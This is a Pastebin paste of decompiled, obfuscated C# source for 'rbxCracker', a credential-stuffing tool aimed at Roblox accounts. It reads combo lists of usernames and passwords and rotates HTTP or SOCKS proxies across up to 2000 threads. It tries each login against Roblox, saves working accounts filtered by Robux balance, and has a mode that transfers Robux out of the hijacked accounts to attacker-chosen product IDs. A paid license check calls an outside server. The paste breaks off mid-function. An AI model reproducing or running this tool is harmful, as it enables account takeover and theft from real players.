Guest User

rbxCracker source

a guest
Nov 20th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 80.29 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Management;
  7. using System.Net;
  8. using System.Reflection;
  9. using System.Security.Cryptography;
  10. using System.Text;
  11. using System.Text.RegularExpressions;
  12. using System.Threading;
  13. using System.Threading.Tasks;
  14. using CorCallingConvention;
  15. using xNet;
  16.  
  17. namespace RobloxCracker
  18. {
  19. // Token: 0x02000012 RID: 18
  20. internal class CCMDictionary
  21. {
  22. // Token: 0x06000073 RID: 115 RVA: 0x0000EC1C File Offset: 0x0000CE1C
  23. private static void XmlNamespaceEncoder(string[] args)
  24. {
  25. <Module>.ReadDelegate(0);
  26. global::ParameterInfo.ComVisibleAttribute();
  27. CCMDictionary.RuntimePropertyInfo();
  28. Console.Title = "rbxCracker - Roblox.com Account Cracker";
  29. CCMDictionary.ISymbolVariable(ConsoleColor.White, "rbxCracker - Roblox.com Account Cracker" + Environment.NewLine + "=======================");
  30. if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\license.dat") == -1)
  31. {
  32. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Please enter your key to register.");
  33. string text = Console.ReadLine();
  34. string text2 = CCMDictionary.ConstructorBuilder();
  35. using (HttpRequest httpRequest = new HttpRequest())
  36. {
  37. string text3 = global::DebuggerStepThroughAttribute.CMSASSEMBLYREFERENCEFLAG(httpRequest.Get(MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  38. {
  39. "https://proxies24.com/rbxCrack/auth.php?k=",
  40. text,
  41. "&h=",
  42. text2,
  43. "&r"
  44. }), null));
  45. if (!text3.Equals("0"))
  46. {
  47. if (!text3.Equals("1"))
  48. {
  49. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Unknown error.");
  50. Environment.Exit(0);
  51. }
  52. else
  53. {
  54. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "Registered successfully.");
  55. System.IO.File.AppendAllText(Directory.GetCurrentDirectory() + "\\license.dat", text);
  56. Console.Clear();
  57. CCMDictionary.XmlNamespaceEncoder(null);
  58. }
  59. }
  60. else
  61. {
  62. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Key not found.");
  63. Environment.Exit(0);
  64. }
  65. goto IL_224;
  66. }
  67. }
  68. using (HttpRequest httpRequest2 = new HttpRequest())
  69. {
  70. string text4 = httpRequest2.Get("https://proxies24.com/rbxCrack/auth.php?k=" + System.IO.File.ReadAllText(Directory.GetCurrentDirectory() + "\\license.dat").ToString(), null).ToString();
  71. if (!text4.Equals("0"))
  72. {
  73. if (!(text4 == CCMDictionary.ConstructorBuilder()))
  74. {
  75. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Invalid HWID match.");
  76. Environment.Exit(0);
  77. }
  78. }
  79. else
  80. {
  81. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Invaid key.");
  82. Environment.Exit(0);
  83. }
  84. }
  85. IL_224:
  86. ASMCACHE.DeriveBytes();
  87. int num = 0;
  88. do
  89. {
  90. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Which tool would you like to run?");
  91. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.White, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  92. {
  93. "[1] Standard checker [Robux, Builders Club, Collectibles]",
  94. Environment.NewLine,
  95. "[2] Transfer robux [BETA]",
  96. Environment.NewLine,
  97. "[3] Combo validator",
  98. Environment.NewLine,
  99. "[4] Exit"
  100. }));
  101. if (int.TryParse(Console.ReadLine(), out num))
  102. {
  103. switch (num)
  104. {
  105. case 1:
  106. {
  107. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running standard checker");
  108. CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "=======================");
  109. if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") != -1)
  110. {
  111. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") + " combos.");
  112. CCMDictionary.IdentityNotMappedException.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\combos.txt"));
  113. }
  114. else
  115. {
  116. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Combo file not found.");
  117. System.Threading.Thread.Sleep(1000);
  118. Environment.Exit(0);
  119. }
  120. if (CCMDictionary.StringParser(FileAssociationEntryFieldId.StrongName2() + "\\proxies.txt") == -1)
  121. {
  122. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Proxy file not found.");
  123. System.Threading.Thread.Sleep(1000);
  124. Environment.Exit(0);
  125. }
  126. else
  127. {
  128. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\proxies.txt") + " proxies.");
  129. CCMDictionary.HostExecutionContextSwitcher.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\proxies.txt"));
  130. }
  131. CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================" + Environment.NewLine);
  132. CCMDictionary.ArraySortHelper2 = new StreamWriter("accounts.txt", true);
  133. CCMDictionary.SafeCertContextHandle = new StreamWriter(Directory.GetCurrentDirectory() + "\\hits\\allhits.txt");
  134. CCMDictionary.ArraySortHelper2.AutoFlush = true;
  135. CCMDictionary.SafeCertContextHandle.AutoFlush = true;
  136. if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\config.dat") != -1)
  137. {
  138. string text5 = System.IO.File.ReadAllText(Directory.GetCurrentDirectory() + "\\config.dat");
  139. if (text5.Contains("[proxies:"))
  140. {
  141. CCMDictionary.TargetParameterCountException = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
  142. {
  143. "proxies:"
  144. }, StringSplitOptions.None)[1], new string[]
  145. {
  146. "]"
  147. }, StringSplitOptions.None)[0];
  148. if (CCMDictionary.TargetParameterCountException != "http" && CCMDictionary.TargetParameterCountException != "socks4" && CCMDictionary.TargetParameterCountException != "socks5")
  149. {
  150. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Invalid proxy type!");
  151. System.Threading.Thread.Sleep(1000);
  152. Environment.Exit(0);
  153. }
  154. }
  155. else
  156. {
  157. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
  158. System.Threading.Thread.Sleep(1000);
  159. Environment.Exit(0);
  160. }
  161. if (text5.Contains("[rotating:"))
  162. {
  163. string a = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
  164. {
  165. "rotating:"
  166. }, StringSplitOptions.None)[1], new string[]
  167. {
  168. "]"
  169. }, StringSplitOptions.None)[0];
  170. if (a != "true" && a != "false")
  171. {
  172. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Rotating must be true or false!");
  173. System.Threading.Thread.Sleep(1000);
  174. Environment.Exit(0);
  175. }
  176. else
  177. {
  178. CCMDictionary.BinaryMethodReturnMessage = (a == "true");
  179. }
  180. }
  181. else
  182. {
  183. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
  184. System.Threading.Thread.Sleep(1000);
  185. Environment.Exit(0);
  186. }
  187. if (!text5.Contains("[threads:"))
  188. {
  189. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
  190. System.Threading.Thread.Sleep(1000);
  191. Environment.Exit(0);
  192. }
  193. else
  194. {
  195. string s = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
  196. {
  197. "threads:"
  198. }, StringSplitOptions.None)[1], new string[]
  199. {
  200. "]"
  201. }, StringSplitOptions.None)[0];
  202. if (int.TryParse(s, out CCMDictionary.IContextProperty))
  203. {
  204. if (CCMDictionary.IContextProperty > 2000 || CCMDictionary.IContextProperty <= 0)
  205. {
  206. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Threads must be less than 2000 & more than 0!");
  207. System.Threading.Thread.Sleep(1000);
  208. Environment.Exit(0);
  209. }
  210. }
  211. else
  212. {
  213. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Threads must be a number!");
  214. System.Threading.Thread.Sleep(1000);
  215. Environment.Exit(0);
  216. }
  217. }
  218. if (text5.Contains("[filter:"))
  219. {
  220. string s2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
  221. {
  222. "filter:"
  223. }, StringSplitOptions.None)[1], new string[]
  224. {
  225. "]"
  226. }, StringSplitOptions.None)[0];
  227. if (!int.TryParse(s2, out CCMDictionary.PermissionSetEnumeratorInternal))
  228. {
  229. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Filter must be a number!");
  230. System.Threading.Thread.Sleep(1000);
  231. Environment.Exit(0);
  232. }
  233. }
  234. else
  235. {
  236. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
  237. System.Threading.Thread.Sleep(1000);
  238. Environment.Exit(0);
  239. }
  240. if (text5.Contains("[retry:"))
  241. {
  242. string a2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
  243. {
  244. "retry:"
  245. }, StringSplitOptions.None)[1], new string[]
  246. {
  247. "]"
  248. }, StringSplitOptions.None)[0];
  249. if (!(a2 != "true") || !(a2 != "false"))
  250. {
  251. CCMDictionary.SpecialNameAttribute = (a2 == "true");
  252. }
  253. else
  254. {
  255. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Rotating must be true or false!");
  256. System.Threading.Thread.Sleep(1000);
  257. Environment.Exit(0);
  258. }
  259. }
  260. else
  261. {
  262. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
  263. System.Threading.Thread.Sleep(1000);
  264. Environment.Exit(0);
  265. }
  266. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running from config settings." + Environment.NewLine);
  267. }
  268. else
  269. {
  270. do
  271. {
  272. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Which type of proxies are you using? [http/socks4/socks5]");
  273. CCMDictionary.TargetParameterCountException = Console.ReadLine();
  274. if (CCMDictionary.TargetParameterCountException == "http" || CCMDictionary.TargetParameterCountException == "socks4" || CCMDictionary.TargetParameterCountException == "socks5")
  275. {
  276. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running on " + CCMDictionary.TargetParameterCountException.ToUpper() + "." + Environment.NewLine);
  277. }
  278. }
  279. while (CCMDictionary.TargetParameterCountException != "http" && CCMDictionary.TargetParameterCountException != "socks4" && CCMDictionary.TargetParameterCountException != "socks5");
  280. string text6;
  281. do
  282. {
  283. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Are you using rotating proxies? [yes/no]");
  284. text6 = Console.ReadLine();
  285. if (text6 == "yes")
  286. {
  287. CCMDictionary.BinaryMethodReturnMessage = true;
  288. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with rotating proxies." + Environment.NewLine);
  289. }
  290. else if (text6 == "no")
  291. {
  292. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with non-rotating proxies." + Environment.NewLine);
  293. }
  294. }
  295. while (text6 != "yes" && text6 != "no");
  296. string text7;
  297. do
  298. {
  299. CCMDictionary.ISymbolVariable(ConsoleColor.White, "How many threads do you want to use? (2k max)");
  300. text7 = Console.ReadLine();
  301. if (Convert.ToInt32(text7) <= 2000 && Convert.ToInt32(text7) > 0 && int.TryParse(text7, out CCMDictionary.IContextProperty))
  302. {
  303. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running on " + Convert.ToString(CCMDictionary.IContextProperty) + " threads." + Environment.NewLine);
  304. }
  305. }
  306. while (CCMDictionary.IContextProperty > 2000 || CCMDictionary.IContextProperty <= 0 || !int.TryParse(text7, out CCMDictionary.IContextProperty));
  307. do
  308. {
  309. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Filter accounts with more than X robux: (0 = all)");
  310. text6 = Console.ReadLine();
  311. if (int.TryParse(text6, out CCMDictionary.PermissionSetEnumeratorInternal))
  312. {
  313. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Filtering accounts with more than " + Convert.ToString(CCMDictionary.PermissionSetEnumeratorInternal) + " robux." + Environment.NewLine);
  314. }
  315. }
  316. while (CCMDictionary.PermissionSetEnumeratorInternal < 0 || !int.TryParse(text6, out CCMDictionary.PermissionSetEnumeratorInternal));
  317. do
  318. {
  319. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Do you want to use unlimited retries? [yes/no]");
  320. text6 = Console.ReadLine();
  321. if (!(text6 == "yes"))
  322. {
  323. if (text6 == "no")
  324. {
  325. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with default 5 retries." + Environment.NewLine);
  326. }
  327. }
  328. else
  329. {
  330. CCMDictionary.SpecialNameAttribute = true;
  331. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with unlimited proxies." + Environment.NewLine);
  332. }
  333. }
  334. while (text6 != "yes" && text6 != "no");
  335. }
  336. CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================");
  337. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Building queue..." + Environment.NewLine);
  338. CorCallingConvention.Path.ThreadInterruptedException(Task.Factory, new Action(delegate
  339. {
  340. if (Console.ReadKey().KeyChar == 'q')
  341. {
  342. CCMDictionary.SponsorStateInfo = true;
  343. }
  344. }));
  345. IEnumerable<string> identityNotMappedException = CCMDictionary.IdentityNotMappedException;
  346. ParallelOptions parallelOptions = new ParallelOptions();
  347. parallelOptions.MaxDegreeOfParallelism = CCMDictionary.IContextProperty;
  348. Parallel.ForEach<string>(identityNotMappedException, parallelOptions, delegate(string combo, ParallelLoopState state)
  349. {
  350. try
  351. {
  352. if (!CCMDictionary.SponsorStateInfo)
  353. {
  354. if (CCMDictionary.HostExecutionContextSwitcher.Count != 0)
  355. {
  356. if (combo.Contains(":"))
  357. {
  358. string text10 = WindowsAccountType.SymCustomAttr(combo, new string[]
  359. {
  360. ":"
  361. }, StringSplitOptions.None)[0];
  362. string text11 = WindowsAccountType.SymCustomAttr(combo, new string[]
  363. {
  364. ":"
  365. }, StringSplitOptions.None)[1];
  366. bool flag;
  367. if (text10 != "" && text11 != "")
  368. {
  369. if (text10.Any((char ch) => char.IsLetterOrDigit(ch)))
  370. {
  371. flag = text11.Any((char ch) => char.IsLetterOrDigit(ch));
  372. goto IL_109;
  373. }
  374. }
  375. flag = false;
  376. IL_109:
  377. if (flag)
  378. {
  379. CCMDictionary.IsolationInterop(text10, text11);
  380. }
  381. }
  382. }
  383. else
  384. {
  385. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "[Error] - Ran out of working proxies, stopping all threads.");
  386. state.Stop();
  387. }
  388. }
  389. else
  390. {
  391. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Stopping all running threads!");
  392. state.Stop();
  393. }
  394. }
  395. catch (Exception)
  396. {
  397. }
  398. });
  399. break;
  400. }
  401. case 2:
  402. {
  403. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running robux transferer");
  404. CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "=======================");
  405. if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\accounts.txt") == -1)
  406. {
  407. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Accounts file not found.");
  408. System.Threading.Thread.Sleep(1000);
  409. Environment.Exit(0);
  410. }
  411. else
  412. {
  413. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\accounts.txt") + " accounts.");
  414. CCMDictionary.IdentityNotMappedException.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\accounts.txt"));
  415. }
  416. if (CCMDictionary.StringParser(FileAssociationEntryFieldId.StrongName2() + "\\proxies.txt") == -1)
  417. {
  418. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Proxy file not found.");
  419. System.Threading.Thread.Sleep(1000);
  420. Environment.Exit(0);
  421. }
  422. else
  423. {
  424. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\proxies.txt") + " proxies.");
  425. CCMDictionary.HostExecutionContextSwitcher.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\proxies.txt"));
  426. }
  427. CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================" + Environment.NewLine);
  428. CCMDictionary.ArraySortHelper2 = new StreamWriter("accounts.txt", true);
  429. CCMDictionary.ArraySortHelper2.AutoFlush = true;
  430. do
  431. {
  432. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Which type of proxies are you using? [http/socks4/socks5]");
  433. CCMDictionary.TargetParameterCountException = Console.ReadLine();
  434. if (CCMDictionary.TargetParameterCountException == "http" || CCMDictionary.TargetParameterCountException == "socks4" || CCMDictionary.TargetParameterCountException == "socks5")
  435. {
  436. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running on " + CCMDictionary.TargetParameterCountException.ToUpper() + "." + Environment.NewLine);
  437. }
  438. }
  439. while (CCMDictionary.TargetParameterCountException != "http" && CCMDictionary.TargetParameterCountException != "socks4" && CCMDictionary.TargetParameterCountException != "socks5");
  440. string a3;
  441. do
  442. {
  443. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Are you using rotating proxies? [yes/no]");
  444. a3 = Console.ReadLine();
  445. if (!(a3 == "yes"))
  446. {
  447. if (a3 == "no")
  448. {
  449. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with non-rotating proxies." + Environment.NewLine);
  450. }
  451. }
  452. else
  453. {
  454. CCMDictionary.BinaryMethodReturnMessage = true;
  455. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with rotating proxies." + Environment.NewLine);
  456. }
  457. }
  458. while (a3 != "yes" && a3 != "no");
  459. for (;;)
  460. {
  461. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Please enter the builder club account that will receive the robux in this format: [user:pass]");
  462. string text8 = Console.ReadLine();
  463. if (text8.Contains(":"))
  464. {
  465. try
  466. {
  467. using (HttpRequest httpRequest3 = new HttpRequest())
  468. {
  469. httpRequest3.UserAgent = CCMDictionary.Nullable1();
  470. httpRequest3.AllowAutoRedirect = false;
  471. httpRequest3.Cookies = CCMDictionary.SearchData;
  472. httpRequest3.AddField("username", WindowsAccountType.SymCustomAttr(text8, new string[]
  473. {
  474. ":"
  475. }, StringSplitOptions.None)[0]).AddField("password", WindowsAccountType.SymCustomAttr(text8, new string[]
  476. {
  477. ":"
  478. }, StringSplitOptions.None)[1]);
  479. string text9 = httpRequest3.Post("https://www.roblox.com/newlogin").ToString();
  480. if (text9.Contains("Object moved"))
  481. {
  482. CCMDictionary.SearchData = httpRequest3.Cookies;
  483. if (!(CCMDictionary.Debugger(CCMDictionary.SearchData, text8, true)[1] == "Yes"))
  484. {
  485. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Account doesn't have builders club.");
  486. CCMDictionary.ArgMapper();
  487. }
  488. else
  489. {
  490. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "Successfull login." + Environment.NewLine);
  491. }
  492. }
  493. else if (text9.Contains("Your username or password is incorrect. Please check them and try again."))
  494. {
  495. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Incorect login details.");
  496. CCMDictionary.ArgMapper();
  497. }
  498. else if (!text9.Contains("The words you typed didn&#39;t match the picture. Please try again."))
  499. {
  500. CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "Unknown error occured");
  501. CCMDictionary.ArgMapper();
  502. }
  503. else
  504. {
  505. CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "Captcha given for your IP.");
  506. CCMDictionary.ArgMapper();
  507. }
  508. }
  509. goto IL_170D;
  510. }
  511. catch (HttpException ex)
  512. {
  513. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - " + ex.Status);
  514. CCMDictionary.ArgMapper();
  515. goto IL_170D;
  516. }
  517. goto IL_1276;
  518. }
  519. IL_170D:
  520. if (text8.Contains(":"))
  521. {
  522. goto Block_83;
  523. }
  524. }
  525. IL_12F8:
  526. int num2;
  527. if (CCMDictionary.DictionaryEnumeratorByKeys == "" || (!CCMDictionary.DictionaryEnumeratorByKeys.Contains(",") && !int.TryParse(CCMDictionary.DictionaryEnumeratorByKeys, out num2)))
  528. {
  529. goto IL_13A3;
  530. }
  531. do
  532. {
  533. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Do you want to use unlimited retries? [yes/no]");
  534. a3 = Console.ReadLine();
  535. if (a3 == "yes")
  536. {
  537. CCMDictionary.SpecialNameAttribute = true;
  538. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with unlimited retries." + Environment.NewLine);
  539. }
  540. else if (a3 == "no")
  541. {
  542. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with default 5 retries." + Environment.NewLine);
  543. }
  544. }
  545. while (a3 != "yes" && a3 != "no");
  546. CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================");
  547. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Building queue..." + Environment.NewLine);
  548. CorCallingConvention.Path.ThreadInterruptedException(Task.Factory, new Action(delegate
  549. {
  550. if (Console.ReadKey().KeyChar == 'q')
  551. {
  552. CCMDictionary.SponsorStateInfo = true;
  553. }
  554. }));
  555. IEnumerable<string> identityNotMappedException2 = CCMDictionary.IdentityNotMappedException;
  556. ParallelOptions parallelOptions2 = new ParallelOptions();
  557. parallelOptions2.MaxDegreeOfParallelism = CCMDictionary.MethodImplAttribute.Count;
  558. Parallel.ForEach<string>(identityNotMappedException2, parallelOptions2, delegate(string combo, ParallelLoopState state, long i)
  559. {
  560. try
  561. {
  562. if (!CCMDictionary.SponsorStateInfo)
  563. {
  564. if (CCMDictionary.HostExecutionContextSwitcher.Count == 0)
  565. {
  566. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "[Error] - Ran out of working proxies, stopping all threads.");
  567. state.Stop();
  568. }
  569. else if (combo.Contains(":"))
  570. {
  571. string text10 = WindowsAccountType.SymCustomAttr(combo, new string[]
  572. {
  573. ":"
  574. }, StringSplitOptions.None)[0];
  575. string text11 = WindowsAccountType.SymCustomAttr(combo, new string[]
  576. {
  577. ":"
  578. }, StringSplitOptions.None)[1];
  579. bool flag;
  580. if (text10 != "" && text11 != "")
  581. {
  582. if (text10.Any((char ch) => char.IsLetterOrDigit(ch)))
  583. {
  584. flag = text11.Any((char ch) => char.IsLetterOrDigit(ch));
  585. goto IL_123;
  586. }
  587. }
  588. flag = false;
  589. IL_123:
  590. if (flag)
  591. {
  592. CCMDictionary.DefaultMemberAttribute(text10, text11, i);
  593. }
  594. }
  595. }
  596. else
  597. {
  598. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Stopping all running threads!");
  599. state.Stop();
  600. }
  601. }
  602. catch (Exception)
  603. {
  604. }
  605. });
  606. break;
  607. IL_1276:
  608. CCMDictionary.MethodImplAttribute.AddRange(WindowsAccountType.SymCustomAttr(CCMDictionary.DictionaryEnumeratorByKeys, new string[]
  609. {
  610. ","
  611. }, StringSplitOptions.None));
  612. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Blue, SoapNmtokens.StreamTokenReader(new object[]
  613. {
  614. "Sending all robux to ",
  615. CCMDictionary.MethodImplAttribute.Count,
  616. " products.",
  617. Environment.NewLine
  618. }));
  619. goto IL_12F8;
  620. IL_13A3:
  621. CCMDictionary.ISymbolVariable(ConsoleColor.White, "Please enter the product ID(s) you want to use seperated with a \",\".");
  622. CCMDictionary.DictionaryEnumeratorByKeys = Console.ReadLine();
  623. if (CCMDictionary.DictionaryEnumeratorByKeys.Contains(","))
  624. {
  625. goto IL_1276;
  626. }
  627. if (CCMDictionary.DictionaryEnumeratorByKeys != "" && int.TryParse(CCMDictionary.DictionaryEnumeratorByKeys, out num2))
  628. {
  629. CCMDictionary.MethodImplAttribute.Add(CCMDictionary.DictionaryEnumeratorByKeys);
  630. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Sending all robux to product: " + CCMDictionary.DictionaryEnumeratorByKeys + "." + Environment.NewLine);
  631. goto IL_12F8;
  632. }
  633. goto IL_12F8;
  634. Block_83:
  635. goto IL_13A3;
  636. }
  637. case 3:
  638. {
  639. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running combo validator");
  640. CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "=======================");
  641. if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") != -1)
  642. {
  643. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") + " combos.");
  644. CCMDictionary.IdentityNotMappedException.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\combos.txt"));
  645. }
  646. else
  647. {
  648. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Combo file not found.");
  649. System.Threading.Thread.Sleep(1000);
  650. Environment.Exit(0);
  651. }
  652. CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================" + Environment.NewLine);
  653. int num3 = CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt");
  654. if (num3 < 100)
  655. {
  656. CCMDictionary.IContextProperty = num3;
  657. }
  658. else
  659. {
  660. CCMDictionary.IContextProperty = 100;
  661. }
  662. CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================");
  663. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Building queue..." + Environment.NewLine);
  664. CCMDictionary.ArraySortHelper2 = new StreamWriter("checked.txt", true);
  665. CCMDictionary.ArraySortHelper2.AutoFlush = true;
  666. CorCallingConvention.Path.ThreadInterruptedException(Task.Factory, new Action(delegate
  667. {
  668. if (Console.ReadKey().KeyChar == 'q')
  669. {
  670. CCMDictionary.SponsorStateInfo = true;
  671. }
  672. }));
  673. IEnumerable<string> identityNotMappedException3 = CCMDictionary.IdentityNotMappedException;
  674. ParallelOptions parallelOptions3 = new ParallelOptions();
  675. parallelOptions3.MaxDegreeOfParallelism = CCMDictionary.IContextProperty;
  676. Parallel.ForEach<string>(identityNotMappedException3, parallelOptions3, delegate(string combo, ParallelLoopState state)
  677. {
  678. try
  679. {
  680. if (!CCMDictionary.SponsorStateInfo)
  681. {
  682. if (combo.Contains(":"))
  683. {
  684. string text10 = WindowsAccountType.SymCustomAttr(combo, new string[]
  685. {
  686. ":"
  687. }, StringSplitOptions.None)[0];
  688. string string_ = WindowsAccountType.SymCustomAttr(combo, new string[]
  689. {
  690. ":"
  691. }, StringSplitOptions.None)[1];
  692. bool flag;
  693. if (text10 != "")
  694. {
  695. flag = text10.Any((char ch) => char.IsLetterOrDigit(ch));
  696. }
  697. else
  698. {
  699. flag = false;
  700. }
  701. if (flag)
  702. {
  703. CCMDictionary.DTString(text10, string_);
  704. }
  705. }
  706. }
  707. else
  708. {
  709. CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Stopping all running threads!");
  710. state.Stop();
  711. }
  712. }
  713. catch (Exception ex2)
  714. {
  715. CCMDictionary.ISymbolVariable(ConsoleColor.DarkCyan, ex2.StackTrace);
  716. }
  717. });
  718. break;
  719. }
  720. case 4:
  721. Environment.Exit(0);
  722. break;
  723. }
  724. }
  725. }
  726. while (num > 4 || num == 0);
  727. if (num == 1)
  728. {
  729. CCMDictionary.SafeCertContextHandle.Close();
  730. CCMDictionary.ArraySortHelper2.Close();
  731. }
  732. if (num == 2 || num == 3)
  733. {
  734. CCMDictionary.ArraySortHelper2.Close();
  735. }
  736. string a4;
  737. do
  738. {
  739. CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "Finished! Do you want to return to the menu? (Will reset everything) [yes/no]");
  740. a4 = Console.ReadLine().ToLower();
  741. if (!(a4 == "yes"))
  742. {
  743. if (a4 == "no")
  744. {
  745. Environment.Exit(0);
  746. }
  747. }
  748. else
  749. {
  750. int keyedCollection = 0;
  751. CCMDictionary.PermissionSetEnumeratorInternal = 0;
  752. CCMDictionary.CalendarTable = 0;
  753. CCMDictionary.SafeCompressedStackHandle = 0;
  754. CCMDictionary.OperationCanceledException = 0;
  755. CCMDictionary.KeyedCollection2 = keyedCollection;
  756. CCMDictionary.TargetParameterCountException = (CCMDictionary.DictionaryEnumeratorByKeys = "");
  757. bool binaryMethodReturnMessage = false;
  758. CCMDictionary.SponsorStateInfo = false;
  759. CCMDictionary.BinaryMethodReturnMessage = binaryMethodReturnMessage;
  760. Console.Clear();
  761. CCMDictionary.XmlNamespaceEncoder(null);
  762. }
  763. }
  764. while (a4 != "yes" && a4 != "no");
  765. }
  766.  
  767. // Token: 0x06000074 RID: 116 RVA: 0x000104F0 File Offset: 0x0000E6F0
  768. private static void DTString(string string_0, string string_1)
  769. {
  770. <Module>.ReadDelegate(1);
  771. bool flag = false;
  772. do
  773. {
  774. try
  775. {
  776. using (HttpRequest httpRequest = new HttpRequest())
  777. {
  778. httpRequest.UserAgent = CCMDictionary.Nullable1();
  779. string text = httpRequest.Get("https://www.roblox.com/UserCheck/DoesUsernameExist?username=" + string_0, null).ToString();
  780. if (text.Contains("true"))
  781. {
